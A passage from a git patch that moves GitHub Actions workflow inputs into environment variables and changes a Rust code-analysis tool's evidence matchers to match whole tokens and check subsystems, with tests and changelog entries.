INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail node .github/scripts/publish-marketplace-catalog.mjs \ --source-repository "$GITHUB_WORKSPACE" \ --commit "$GITHUB_SHA" \ - --version "${{ inputs.version }}" \ + --version "$INPUT_VERSION" \ --github-output "$GITHUB_OUTPUT" # The only place this lane's "catalog was updated" claim is ever minted. @@ -373,6 +380,7 @@ jobs: env: CODEX_CLI_VERSION: "0.144.5" MARKETPLACE_REVISION: ${{ steps.delivery.outputs.marketplace_revision }} + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail install_root="$RUNNER_TEMP/codestory-marketplace-postpublish" @@ -391,6 +399,6 @@ jobs: --marketplace-name TheGreenCedar \ --marketplace-revision "$MARKETPLACE_REVISION" \ --local-fixture "${{ steps.delivery.outputs.local_fixture }}" \ - --expected-version "${{ inputs.version }}" \ + --expected-version "$INPUT_VERSION" \ --source-repository "$GITHUB_WORKSPACE" \ --attestation "$install_root/install-attestation-v2.json" diff --git a/.github/workflows/post-publish-release-smoke.yml b/.github/workflows/post-publish-release-smoke.yml index 19e7e19b0..d9f29e679 100644 --- a/.github/workflows/post-publish-release-smoke.yml +++ b/.github/workflows/post-publish-release-smoke.yml @@ -89,9 +89,11 @@ jobs: - name: Normalize release version id: release shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" if [ -z "$version" ]; then echo "::error::version input is required" diff --git a/.github/workflows/source-proof.yml b/.github/workflows/source-proof.yml index d43969951..19447df83 100644 --- a/.github/workflows/source-proof.yml +++ b/.github/workflows/source-proof.yml @@ -401,12 +401,15 @@ jobs: - name: Emit authenticated source release cell if: inputs.emit_release_cells shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + RESOLVED_REF: ${{ needs.resolve.outputs.ref }} run: | set -euo pipefail node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ needs.resolve.outputs.ref }}" \ - --version "${{ inputs.version }}" \ + --expected-sha "$RESOLVED_REF" \ + --version "$INPUT_VERSION" \ --cell-id source_behavior \ --producer-workflow .github/workflows/source-proof.yml \ --producer-job full-source-gate \ diff --git a/.github/workflows/windows-vulkan-proof.yml b/.github/workflows/windows-vulkan-proof.yml index a6a51622d..e8768a507 100644 --- a/.github/workflows/windows-vulkan-proof.yml +++ b/.github/workflows/windows-vulkan-proof.yml @@ -125,8 +125,10 @@ jobs: - name: Validate candidate-installed mode if: inputs.candidate_installed_proof shell: powershell -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command ". '{0}'" + env: + SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} run: | - if ("${{ inputs.server_behavior_only }}" -ne "true") { + if ($env:SERVER_BEHAVIOR_ONLY -ne "true") { throw "candidate_installed_proof requires server_behavior_only" } @@ -233,6 +235,8 @@ jobs: VERSION: ${{ inputs.version }} CODESTORY_EMBED_ALLOW_CPU: "0" SERVER_BEHAVIOR_ONLY: ${{ inputs.server_behavior_only }} + CALIBRATION_ARTIFACT: ${{ inputs.calibration_bundle_artifact }} + CALIBRATION_RUN_ID: ${{ inputs.calibration_bundle_run_id }} run: | $ErrorActionPreference = "Stop" $version = $env:VERSION.TrimStart('v') @@ -261,8 +265,8 @@ jobs: ) $calibrationArgs = @( "--calibration-bundle", $calibrationBundles[0].FullName, - "--calibration-producer-run-id", "${{ inputs.calibration_bundle_run_id }}", - "--calibration-producer-artifact", "${{ inputs.calibration_bundle_artifact }}" + "--calibration-producer-run-id", "$env:CALIBRATION_RUN_ID", + "--calibration-producer-artifact", "$env:CALIBRATION_ARTIFACT" ) } python .github/scripts/check-packaged-agent-proof.py ` @@ -394,9 +398,12 @@ jobs: - name: Emit authenticated Vulkan release cell if: inputs.emit_release_cells shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" jq -n \ --arg native_engine coderank_q8_embedded \ @@ -404,7 +411,7 @@ jobs: > target/windows-vulkan-proof/release-cell-identity.json node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ + --expected-sha "$INPUT_REF" \ --version "$version" \ --cell-id accelerator_execution:windows-x64-vulkan \ --producer-workflow .github/workflows/windows-vulkan-proof.yml \ @@ -428,13 +435,16 @@ jobs: - name: Emit authenticated Windows retrieval-readiness release cell if: inputs.emit_release_cells && inputs.server_behavior_only shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ + --expected-sha "$INPUT_REF" \ --version "$version" \ --cell-id retrieval_readiness:windows-x64 \ --producer-workflow .github/workflows/windows-vulkan-proof.yml \ @@ -457,9 +467,12 @@ jobs: - name: Emit authenticated candidate-installed Windows release cell if: inputs.emit_release_cells && inputs.candidate_installed_proof shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} + INPUT_REF: ${{ inputs.ref }} run: | set -euo pipefail - version="${{ inputs.version }}" + version="$INPUT_VERSION" version="${version#v}" jq -n \ --arg installer candidate_managed_plugin \ @@ -469,7 +482,7 @@ jobs: > target/candidate-installed-windows/release-cell-identity.json node scripts/codestory-release-cell-manifest.mjs produce \ --repo "$GITHUB_WORKSPACE" \ - --expected-sha "${{ inputs.ref }}" \ + --expected-sha "$INPUT_REF" \ --version "$version" \ --cell-id candidate_installed_behavior:windows-x64 \ --producer-workflow .github/workflows/windows-vulkan-proof.yml \ From fa96274ea685699c8f8b9734f1b6a6cb74268573 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 13:12:53 -0500 Subject: [PATCH 054/132] scope evidence carriers to the subsystem they speak for MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A carrier asked whether the flattened symbol name *contained* a needle, with no file or subsystem scoping, so any symbol in the repository whose letters lined up closed the requirement: `CliParseError` proved a formatter's fallback path, `userProfile` proved a data-fetching hook's public export, and `adminPanel`, `terminalWidth` and `determineFieldOrder` each proved a form's native input constraints because their names contain "min". Packets carrying those anchors published as sufficient with no gaps and nothing missing. Match whole tokens instead of substrings, and give each carrier a second factor: does this anchor belong to the subsystem the requirement is about. The hook export now needs the `use`-plus-capital naming convention rather than three leading letters; formatting errors, site terminals, request finalization, mapper configuration and the form family are each scoped to their own surface. The invariant that missed this only tested each predicate against one hand-picked witness, so it could not see a predicate that also accepts everything else. Add a negative-witness corpus every carrier must reject, and widen the sibling test from same-role pairs to every carrier-backed pair in a flow — which turned up two more predicates accepting unrelated anchors (`mapper_config` on any "profile", `css_animation_structure` on its own flow's import). Also stop the follow-up cap from dropping flow probes: leading with every exact path fixed one drop and created its mirror image, so the two kinds now alternate. Co-Authored-By: Claude Opus 5 --- CHANGELOG.md | 11 + .../src/agent/packet_evidence_carriers.rs | 593 ++++++++++++++---- .../src/agent/packet_flow_requirements.rs | 121 ++++ .../src/agent/packet_sufficiency.rs | 277 +++++++- 4 files changed, 857 insertions(+), 145 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5d77919bc..9e1877e91 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,6 +22,17 @@ architecture questions did; every other kind could answer around a requested path and still report itself complete. Each unproven path is now reported on its own, with its own follow-up, for every kind of question. +- Evidence for a step now has to come from the part of the codebase that step is + about. A step was matched by looking for a word anywhere inside a symbol's + name, so a symbol could close a step it had nothing to do with whenever its + letters happened to line up — a command-line parser error standing in for a + formatter's failure path, or a page-layout helper standing in for a form's + input constraints, because "adminPanel" contains "min". Words are now matched + whole, and a step also checks that the symbol belongs to the subsystem in + question, so unrelated results no longer make a packet look complete. +- When a question names more files than fit in the follow-up list, the missing + parts of the flow are no longer pushed out of it. Follow-ups for requested + files and for unproven steps now alternate, so both survive the limit. ## 0.16.2 diff --git a/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs b/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs index 2a59eca70..c2d4aa348 100644 --- a/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs +++ b/crates/codestory-runtime/src/agent/packet_evidence_carriers.rs @@ -11,14 +11,20 @@ use crate::agent::packet_scoring::{normalize_identifier, packet_display_path}; use codestory_contracts::api::{AgentCitationDto, NodeKind}; -fn display(citation: &AgentCitationDto) -> String { - normalize_identifier(&citation.display_name) -} - fn terminal(citation: &AgentCitationDto) -> String { normalize_identifier(&crate::terminal_symbol_segment(&citation.display_name)) } +/// The last `::`/`.`/`/` segment of a symbol name with its original casing intact. Case carries +/// meaning for naming conventions — `useData` is a hook and `userProfile` is not — so the +/// lowercased forms used for matching cannot answer that question. +fn terminal_segment_raw(display_name: &str) -> &str { + display_name + .rsplit([':', '.', '/', '\\']) + .next() + .unwrap_or(display_name) +} + fn path(citation: &AgentCitationDto) -> String { citation .file_path @@ -36,15 +42,99 @@ fn owns_behavior(citation: &AgentCitationDto) -> bool { ) } -fn has_any(haystack: &str, needles: &[&str]) -> bool { - needles.iter().any(|needle| haystack.contains(needle)) -} - fn path_has_any_extension(citation: &AgentCitationDto, extensions: &[&str]) -> bool { let path = path(citation); extensions.iter().any(|extension| path.ends_with(extension)) } +// --------------------------------------------------------------------------- +// Token matching +// +// A carrier used to ask whether the flattened, lowercased symbol name *contained* a needle. That +// accepts any symbol in the repository whose letters happen to line up: `adminPanel`, +// `terminalWidth` and `determineFieldOrder` all contain "min", `invalidateRecordCache` contains +// "validate", and `userProfile` starts with "use". Matching whole tokens instead means a needle has +// to name a word the author actually wrote. +// --------------------------------------------------------------------------- + +/// Split an identifier into lowercase word tokens: separators, `camelCase` humps, acronym runs and +/// letter/digit transitions are all boundaries. `basic_format_args` becomes +/// `["basic", "format", "args"]` and `determineFieldOrder` becomes +/// `["determine", "field", "order"]` — which no longer contains "min". +fn identifier_tokens(value: &str) -> Vec { + let mut tokens = Vec::new(); + for run in value.split(|ch: char| !ch.is_ascii_alphanumeric()) { + push_case_split_tokens(run, &mut tokens); + } + tokens +} + +fn push_case_split_tokens(run: &str, tokens: &mut Vec) { + let chars: Vec = run.chars().collect(); + if chars.is_empty() { + return; + } + let mut start = 0; + for index in 1..chars.len() { + let previous = chars[index - 1]; + let current = chars[index]; + // `fooBar` and `format2Args` break before the hump; `HTTPClient` breaks before the last + // capital of an acronym run so it yields "http" and "client". + let leaves_lower_run = !previous.is_ascii_uppercase() && current.is_ascii_uppercase(); + let enters_word_after_acronym = previous.is_ascii_uppercase() + && current.is_ascii_uppercase() + && chars.get(index + 1).is_some_and(char::is_ascii_lowercase); + let crosses_digit_boundary = previous.is_ascii_digit() != current.is_ascii_digit(); + if leaves_lower_run || enters_word_after_acronym || crosses_digit_boundary { + tokens.push( + chars[start..index] + .iter() + .collect::() + .to_lowercase(), + ); + start = index; + } + } + tokens.push(chars[start..].iter().collect::().to_lowercase()); +} + +fn name_tokens(citation: &AgentCitationDto) -> Vec { + identifier_tokens(&citation.display_name) +} + +fn path_tokens(citation: &AgentCitationDto) -> Vec { + identifier_tokens(&path(citation)) +} + +/// True when the citation's own name contains one of `needles` as a whole token. +fn names_token(citation: &AgentCitationDto, needles: &[&str]) -> bool { + has_token(&name_tokens(citation), needles) +} + +/// True when either the citation's name or the file it lives in contains one of `needles` as a +/// whole token. This is how a carrier asks "does this anchor belong to my subsystem at all?". +fn names_or_path_token(citation: &AgentCitationDto, needles: &[&str]) -> bool { + has_token(&name_tokens(citation), needles) || has_token(&path_tokens(citation), needles) +} + +fn has_token(tokens: &[String], needles: &[&str]) -> bool { + tokens + .iter() + .any(|token| needles.iter().any(|needle| token == needle)) +} + +/// Token-anchored prefix match, for stems that appear with several endings (`execute`, +/// `execution`, `executor`). Still anchored at a word boundary, unlike a bare substring. +fn any_token_starts_with(tokens: &[String], prefixes: &[&str]) -> bool { + tokens + .iter() + .any(|token| prefixes.iter().any(|prefix| token.starts_with(prefix))) +} + +fn names_token_prefix(citation: &AgentCitationDto, prefixes: &[&str]) -> bool { + any_token_starts_with(&name_tokens(citation), prefixes) +} + // --------------------------------------------------------------------------- // HTTP client lifecycle // --------------------------------------------------------------------------- @@ -59,72 +149,108 @@ pub(crate) fn citation_owns_client_request_method(citation: &AgentCitationDto) - ) } +/// Anchors that belong to an HTTP client at all. `Uri.prepare` is a URL utility that happens to be +/// named "prepare"; without this scoping it closed the finalization step of any client flow. +fn belongs_to_http_client(citation: &AgentCitationDto) -> bool { + names_or_path_token( + citation, + &[ + "request", + "requests", + "http", + "https", + "client", + "clients", + "adapter", + "adapters", + "transport", + "send", + "fetch", + ], + ) +} + /// The step that turns a configured request into a transport-ready one. pub(crate) fn citation_owns_client_request_finalization(citation: &AgentCitationDto) -> bool { - if !owns_behavior(citation) { + if !owns_behavior(citation) || !belongs_to_http_client(citation) { return false; } - let display = display(citation); - has_any( - &display, - &[ - "finalize", - "finalise", - "prepare", - "tohttprequest", - "buildrequest", - "requestbody", - ], - ) + names_token_prefix(citation, &["finaliz", "finalis", "prepar"]) + || (names_token(citation, &["request", "requests"]) + && names_token(citation, &["to", "build", "body"])) } /// The boundary where a transport response becomes a value the caller can read. pub(crate) fn citation_owns_client_response_materialization(citation: &AgentCitationDto) -> bool { - if !owns_behavior(citation) { - return false; - } - let display = display(citation); - display.contains("response") - && has_any( - &display, + owns_behavior(citation) + && names_token(citation, &["response", "responses"]) + && (names_token( + citation, &[ "stream", - "frombytes", - "materiali", + "bytes", "settle", + "settled", "transform", "body", "read", ], - ) + ) || names_token_prefix(citation, &["materiali"])) } // --------------------------------------------------------------------------- // Data-fetching hook + cache // --------------------------------------------------------------------------- -pub(crate) fn citation_owns_hook_public_export(citation: &AgentCitationDto) -> bool { - if !matches!(citation.kind, NodeKind::FUNCTION | NodeKind::METHOD) { +/// The hook flow lives in front-end scripts. `Cache.write` in `lib/cache.rb` is a server-side cache +/// and must not stand in for the hook's cache helper. +fn is_script_surface(citation: &AgentCitationDto) -> bool { + path_has_any_extension( + citation, + &[ + ".js", ".mjs", ".cjs", ".ts", ".mts", ".cts", ".jsx", ".tsx", ".vue", ".svelte", + ], + ) +} + +/// `use` followed by a capital is the hook naming convention — `useData`, `useQuery`. +/// `userProfile` and `useragentString` merely start with the same three letters, and a +/// `starts_with("use")` test could not tell them apart. +fn names_a_hook(citation: &AgentCitationDto) -> bool { + let segment = terminal_segment_raw(&citation.display_name); + let Some(rest) = segment.strip_prefix("use") else { return false; + }; + match rest.chars().next() { + Some(next) => next.is_ascii_uppercase() || next == '_' || next == '-', + None => false, } - let display = display(citation); - display.starts_with("use") && display.len() > 3 && !display.contains("cache") +} + +pub(crate) fn citation_owns_hook_public_export(citation: &AgentCitationDto) -> bool { + matches!(citation.kind, NodeKind::FUNCTION | NodeKind::METHOD) + && names_a_hook(citation) + && !names_token(citation, &["cache", "caches"]) } pub(crate) fn citation_owns_hook_key_serialization(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && { - let display = display(citation); - display.contains("serialize") - || (display.contains("key") && has_any(&display, &["hash", "stable", "stringify"])) - } + owns_behavior(citation) + && is_script_surface(citation) + && (names_token_prefix(citation, &["serializ", "serialis"]) + || (names_token(citation, &["key", "keys"]) + && names_token(citation, &["hash", "stable", "stringify"]))) } pub(crate) fn citation_owns_hook_cache_helper(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && display(citation).contains("cache") + owns_behavior(citation) + && is_script_surface(citation) + && names_token(citation, &["cache", "caches"]) } pub(crate) fn citation_owns_hook_mutation_flow(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && has_any(&display(citation), &["mutate", "mutation"]) + owns_behavior(citation) + && is_script_surface(citation) + && names_token_prefix(citation, &["mutat"]) } // --------------------------------------------------------------------------- @@ -141,8 +267,8 @@ fn is_stylesheet(citation: &AgentCitationDto) -> bool { pub(crate) fn citation_owns_html_app_shell(citation: &AgentCitationDto) -> bool { is_markup_document(citation) - && has_any( - &display(citation), + && names_token( + citation, &[ "app", "root", "main", "body", "shell", "module", "script", "mount", ], @@ -154,13 +280,16 @@ pub(crate) fn citation_owns_css_structure(citation: &AgentCitationDto) -> bool { } pub(crate) fn citation_owns_css_animation_entrypoint(citation: &AgentCitationDto) -> bool { - is_stylesheet(citation) && has_any(&display(citation), &["import", "use", "forward"]) + is_stylesheet(citation) && names_token(citation, &["import", "use", "forward"]) } pub(crate) fn citation_owns_css_animation_structure(citation: &AgentCitationDto) -> bool { is_stylesheet(citation) - && has_any( - &display(citation), + // Sibling of `css_animation_entrypoint`. `@import "animations/base"` names the animation + // directory, so without this an import closed the structure requirement too. + && !citation_owns_css_animation_entrypoint(citation) + && names_token( + citation, &[ "keyframes", "animation", @@ -178,15 +307,39 @@ pub(crate) fn citation_owns_css_animation_structure(citation: &AgentCitationDto) // Form validation // --------------------------------------------------------------------------- -fn is_form_surface(citation: &AgentCitationDto) -> bool { - is_markup_document(citation) - || path_has_any_extension(citation, &[".js", ".mjs", ".ts", ".jsx", ".tsx"]) +/// A form validation anchor has to be *about a form*, not merely live in a file a browser can load. +/// Being a script or a document was the only scoping these carriers had, so `determineFieldOrder` +/// in `src/layout.js` (whose name contains "min") and `submitTelemetry` in `src/telemetry.js` closed +/// requirements about form markup they never touch. +fn is_form_validation_surface(citation: &AgentCitationDto) -> bool { + let on_a_browser_surface = is_markup_document(citation) + || path_has_any_extension(citation, &[".js", ".mjs", ".cjs", ".ts", ".jsx", ".tsx"]); + on_a_browser_surface + && names_or_path_token( + citation, + &[ + "form", + "forms", + "fieldset", + "validation", + "validations", + "validate", + "validates", + "validity", + "invalid", + "constraint", + "constraints", + "guard", + "guards", + "preventdefault", + ], + ) } pub(crate) fn citation_owns_form_native_constraint(citation: &AgentCitationDto) -> bool { - is_form_surface(citation) - && has_any( - &display(citation), + is_form_validation_surface(citation) + && names_token( + citation, &[ "required", "pattern", @@ -195,31 +348,29 @@ pub(crate) fn citation_owns_form_native_constraint(citation: &AgentCitationDto) "min", "max", "inputtype", + "inputmode", ], ) } pub(crate) fn citation_owns_form_custom_validation(citation: &AgentCitationDto) -> bool { - is_form_surface(citation) - && has_any( - &display(citation), + is_form_validation_surface(citation) + && (names_token( + citation, &[ - "setcustomvalidity", - "checkvalidity", - "reportvalidity", "validity", - "customvalid", "validate", + "validates", "validator", + "validation", ], - ) + ) || names_token_prefix(citation, &["customvalid", "checkvalid", "reportvalid"])) } pub(crate) fn citation_owns_form_submit_guard(citation: &AgentCitationDto) -> bool { - is_form_surface(citation) && { - let display = display(citation); - display.contains("submit") || display.contains("preventdefault") - } + is_form_validation_surface(citation) + && (names_token(citation, &["submit", "submits", "preventdefault"]) + || names_token_prefix(citation, &["submitt"])) } // --------------------------------------------------------------------------- @@ -236,26 +387,21 @@ fn is_shell_script(citation: &AgentCitationDto) -> bool { pub(crate) fn citation_owns_shell_installer_bootstrap(citation: &AgentCitationDto) -> bool { is_shell_script(citation) - && has_any( - &display(citation), + && names_token_prefix( + citation, &["install", "bootstrap", "download", "setup", "source"], ) } pub(crate) fn citation_owns_shell_function_dispatch(citation: &AgentCitationDto) -> bool { is_shell_script(citation) - && has_any( - &display(citation), - &["dispatch", "command", "use", "run", "exec", "case"], - ) + && (names_token(citation, &["use", "run", "exec", "case"]) + || names_token_prefix(citation, &["dispatch", "command", "exec"])) } pub(crate) fn citation_owns_shell_completion(citation: &AgentCitationDto) -> bool { is_shell_script(citation) - && has_any( - &display(citation), - &["completion", "compgen", "complete", "alias"], - ) + && names_token_prefix(citation, &["completion", "compgen", "complete", "alias"]) } // --------------------------------------------------------------------------- @@ -263,31 +409,30 @@ pub(crate) fn citation_owns_shell_completion(citation: &AgentCitationDto) -> boo // --------------------------------------------------------------------------- fn names_buffer(citation: &AgentCitationDto) -> bool { - let display = display(citation); - display.contains("buffer") || display.contains("segment") + names_token_prefix(citation, &["buffer", "segment"]) } -fn names_io_operation(display: &str) -> bool { - has_any( - display, +fn names_io_operation(citation: &AgentCitationDto) -> bool { + names_token( + citation, &[ - "read", "write", "emit", "flush", "skip", "copyto", "request", + "read", "reads", "write", "writes", "emit", "emits", "flush", "skip", "copy", "copyto", + "request", ], - ) + ) || names_token_prefix(citation, &["readfrom", "writeto", "copyto"]) } /// The buffer itself — where bytes live between a source and a sink. pub(crate) fn citation_owns_buffer_storage(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && names_buffer(citation) && !names_io_operation(&display(citation)) + owns_behavior(citation) && names_buffer(citation) && !names_io_operation(citation) } /// The operations that move bytes across that buffer. Sibling of `buffer_storage`, so a citation /// that only names the container must not close it. pub(crate) fn citation_owns_buffer_read_write(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && names_io_operation(&display(citation)) && { - let display = display(citation); - names_buffer(citation) || has_any(&display, &["source", "sink", "stream"]) - } + owns_behavior(citation) + && names_io_operation(citation) + && (names_buffer(citation) || names_token(citation, &["source", "sink", "stream"])) } // --------------------------------------------------------------------------- @@ -296,11 +441,11 @@ pub(crate) fn citation_owns_buffer_read_write(citation: &AgentCitationDto) -> bo pub(crate) fn citation_owns_log_record_creation(citation: &AgentCitationDto) -> bool { owns_behavior(citation) && { - let display = display(citation); - display.contains("record") - && !display.contains("handler") - && (has_any(&display, &["add", "create", "make", "build", "log"]) - || display == "record") + let tokens = name_tokens(citation); + has_token(&tokens, &["record", "records"]) + && !any_token_starts_with(&tokens, &["handler", "handle"]) + && (has_token(&tokens, &["add", "create", "make", "build", "log"]) + || tokens.as_slice() == ["record"]) } } @@ -308,26 +453,16 @@ pub(crate) fn citation_owns_log_record_creation(citation: &AgentCitationDto) -> /// a stack names a handler but does nothing with a record, so it must not close this requirement. pub(crate) fn citation_owns_log_handler_processing(citation: &AgentCitationDto) -> bool { owns_behavior(citation) && { - let display = display(citation); - let names_a_handler = display.contains("handler") || display.contains("handle"); - let only_registers = has_any( - &display, + let tokens = name_tokens(citation); + let names_a_handler = any_token_starts_with(&tokens, &["handler", "handle"]); + let only_registers = has_token( + &tokens, &["push", "pop", "add", "remove", "set", "register"], ); names_a_handler && !only_registers - && has_any( - &display, - &[ - "handle", - "process", - "write", - "emit", - "flush", - "batch", - "interface", - ], - ) + && (has_token(&tokens, &["write", "emit", "flush", "batch", "interface"]) + || any_token_starts_with(&tokens, &["handle", "process"])) } } @@ -335,56 +470,128 @@ pub(crate) fn citation_owns_log_handler_processing(citation: &AgentCitationDto) // Static-site build // --------------------------------------------------------------------------- +/// Anchors that belong to a static-site build. Without this, `Cache.write` in `lib/cache.rb` closed +/// the site's terminal boundary purely because its name contains "write". +fn belongs_to_site_build(citation: &AgentCitationDto) -> bool { + names_or_path_token( + citation, + &[ + "site", + "sites", + "page", + "pages", + "post", + "posts", + "layout", + "layouts", + "template", + "templates", + "document", + "documents", + "collection", + "collections", + "static", + "theme", + "themes", + "asset", + "assets", + "view", + "views", + "render", + "renderer", + "generator", + ], + ) +} + pub(crate) fn citation_owns_site_lifecycle(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && { - let display = display(citation); - has_any(&display, &["site", "build", "process", "pipeline"]) - && !has_any(&display, &["render", "write", "read"]) + owns_behavior(citation) && belongs_to_site_build(citation) && { + let tokens = name_tokens(citation); + has_token(&tokens, &["site", "build", "process", "pipeline"]) + && !has_token(&tokens, &["render", "write", "read"]) + && !any_token_starts_with(&tokens, &["render", "writ", "read"]) } } pub(crate) fn citation_owns_site_terminal(citation: &AgentCitationDto) -> bool { owns_behavior(citation) - && has_any( - &display(citation), - &["render", "writer", "write", "reader", "output", "emit"], - ) + && belongs_to_site_build(citation) + && (names_token(citation, &["output", "outputs", "emit", "emits"]) + || names_token_prefix(citation, &["render", "writ", "read"])) } // --------------------------------------------------------------------------- // Object mapper // --------------------------------------------------------------------------- +/// Anchors that belong to an object mapper. "profile" and "plan" are ordinary words — `userProfile` +/// closed the mapper's configuration requirement until the carrier asked which subsystem it is in. +fn belongs_to_object_mapper(citation: &AgentCitationDto) -> bool { + names_or_path_token( + citation, + &[ + "map", "maps", "mapper", "mappers", "mapping", "mappings", "typemap", + ], + ) +} + +fn names_mapper_configuration(citation: &AgentCitationDto) -> bool { + names_token_prefix(citation, &["config", "profile", "option"]) +} + pub(crate) fn citation_owns_mapper_configuration(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && { - let display = display(citation); - has_any(&display, &["configuration", "config", "profile", "options"]) - && !has_any(&display, &["plan", "execut", "pipeline"]) - } + owns_behavior(citation) + && belongs_to_object_mapper(citation) + && names_mapper_configuration(citation) + && !names_token_prefix(citation, &["plan", "execut", "pipeline"]) } pub(crate) fn citation_owns_mapper_execution(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && { - let display = display(citation); - display.contains("typemap") - || (has_any( - &display, - &["plan", "execut", "pipeline", "mapper", "mapping"], - ) && !has_any(&display, &["configuration", "config", "profile", "options"])) - } + owns_behavior(citation) + && belongs_to_object_mapper(citation) + && !names_mapper_configuration(citation) + && names_token_prefix( + citation, + &["plan", "execut", "pipeline", "mapper", "mapping"], + ) } // --------------------------------------------------------------------------- // Runtime formatting // --------------------------------------------------------------------------- +/// Anchors that belong to the runtime-formatting subsystem. The error carrier below asks only +/// whether a symbol sounds like a failure path, which every subsystem in a repository has; scoping +/// it to the formatting surface is what stops `CliParseError` in `src/cli/parse.cc` from standing +/// in for the formatter's fallback. +fn belongs_to_runtime_formatting(citation: &AgentCitationDto) -> bool { + names_or_path_token( + citation, + &[ + "format", + "formats", + "formatter", + "formatters", + "formatting", + "fmt", + "vformat", + "printf", + "sprintf", + "fprintf", + ], + ) || names_token_prefix(citation, &["format"]) +} + /// The type-erased argument store a runtime formatter reads from. pub(crate) fn citation_owns_format_arguments(citation: &AgentCitationDto) -> bool { owns_behavior(citation) && { - let display = display(citation); - display.contains("format") - && has_any(&display, &["arg", "args", "arguments", "store", "value"]) - && !display.contains("error") + let tokens = name_tokens(citation); + any_token_starts_with(&tokens, &["format"]) + && has_token( + &tokens, + &["arg", "args", "arguments", "store", "value", "values"], + ) + && !any_token_starts_with(&tokens, &["error", "err"]) } } @@ -392,13 +599,12 @@ pub(crate) fn citation_owns_format_arguments(citation: &AgentCitationDto) -> boo /// the only carrier for `FlowRole::ErrorOrFallback`; without it the role would ask for evidence no /// packet could ever cite. pub(crate) fn citation_owns_format_errors(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && { - let display = display(citation); - has_any( - &display, + owns_behavior(citation) + && belongs_to_runtime_formatting(citation) + && names_token_prefix( + citation, &["error", "throw", "fail", "assert", "fallback", "panic"], ) - } } #[cfg(test)] @@ -470,4 +676,115 @@ mod tests { assert!(!citation_owns_client_request_method(&factory)); assert!(citation_owns_client_request_method(&request)); } + + #[test] + fn identifiers_split_into_words_so_a_needle_cannot_match_mid_word() { + assert_eq!( + identifier_tokens("determineFieldOrder"), + ["determine", "field", "order"] + ); + assert_eq!(identifier_tokens("adminPanel"), ["admin", "panel"]); + assert_eq!(identifier_tokens("terminalWidth"), ["terminal", "width"]); + assert_eq!( + identifier_tokens("invalidateRecordCache"), + ["invalidate", "record", "cache"] + ); + assert_eq!(identifier_tokens("minLength"), ["min", "length"]); + assert_eq!( + identifier_tokens("basic_format_args"), + ["basic", "format", "args"] + ); + assert_eq!(identifier_tokens("HTTPClient"), ["http", "client"]); + assert_eq!( + identifier_tokens("Buffer.writeUtf8"), + ["buffer", "write", "utf", "8"] + ); + } + + /// Predicate-level statement of the blocking defect: each of these anchors closed a requirement + /// it has nothing to do with, because the carrier matched an unanchored substring of the name + /// with no file or subsystem scoping. + #[test] + fn carriers_reject_anchors_from_other_subsystems() { + // "error" anywhere in the repository used to prove the formatter's fallback path. + assert!(!citation_owns_format_errors(&citation( + "CliParseError", + "src/cli/parse.cc", + NodeKind::FUNCTION + ))); + assert!(!citation_owns_format_errors(&citation( + "assert_valid_utf8", + "src/text/utf8.rs", + NodeKind::FUNCTION + ))); + assert!(!citation_owns_format_errors(&citation( + "panic_hook", + "src/runtime/panic.rs", + NodeKind::FUNCTION + ))); + // ...while the formatter's own failure path still closes it. + assert!(citation_owns_format_errors(&citation( + "throw_format_error", + "include/fmt/format.h", + NodeKind::FUNCTION + ))); + + // A `use` prefix is not the hook naming convention. + assert!(!citation_owns_hook_public_export(&citation( + "userProfile", + "src/session/user.ts", + NodeKind::FUNCTION + ))); + assert!(!citation_owns_hook_public_export(&citation( + "useragentString", + "src/http/headers.ts", + NodeKind::FUNCTION + ))); + assert!(citation_owns_hook_public_export(&citation( + "useData", + "src/index/use-data.ts", + NodeKind::FUNCTION + ))); + + // "min"/"max" only count as whole words, and only on a form surface. + for name in ["determineFieldOrder", "adminPanel", "terminalWidth"] { + assert!( + !citation_owns_form_native_constraint(&citation( + name, + "src/layout.js", + NodeKind::FUNCTION + )), + "{name} names no form constraint" + ); + } + assert!(citation_owns_form_native_constraint(&citation( + "minLength", + "examples/form.html", + NodeKind::FUNCTION + ))); + + // A server-side cache is not a static site's terminal boundary. + assert!(!citation_owns_site_terminal(&citation( + "Cache.write", + "lib/cache.rb", + NodeKind::METHOD + ))); + assert!(citation_owns_site_terminal(&citation( + "Renderer.render", + "lib/site/renderer.rb", + NodeKind::METHOD + ))); + + // A URL utility named "prepare" is not a request finalization step. + assert!(!citation_owns_client_request_finalization(&citation( + "Uri.prepare", + "lib/uri.dart", + NodeKind::METHOD + 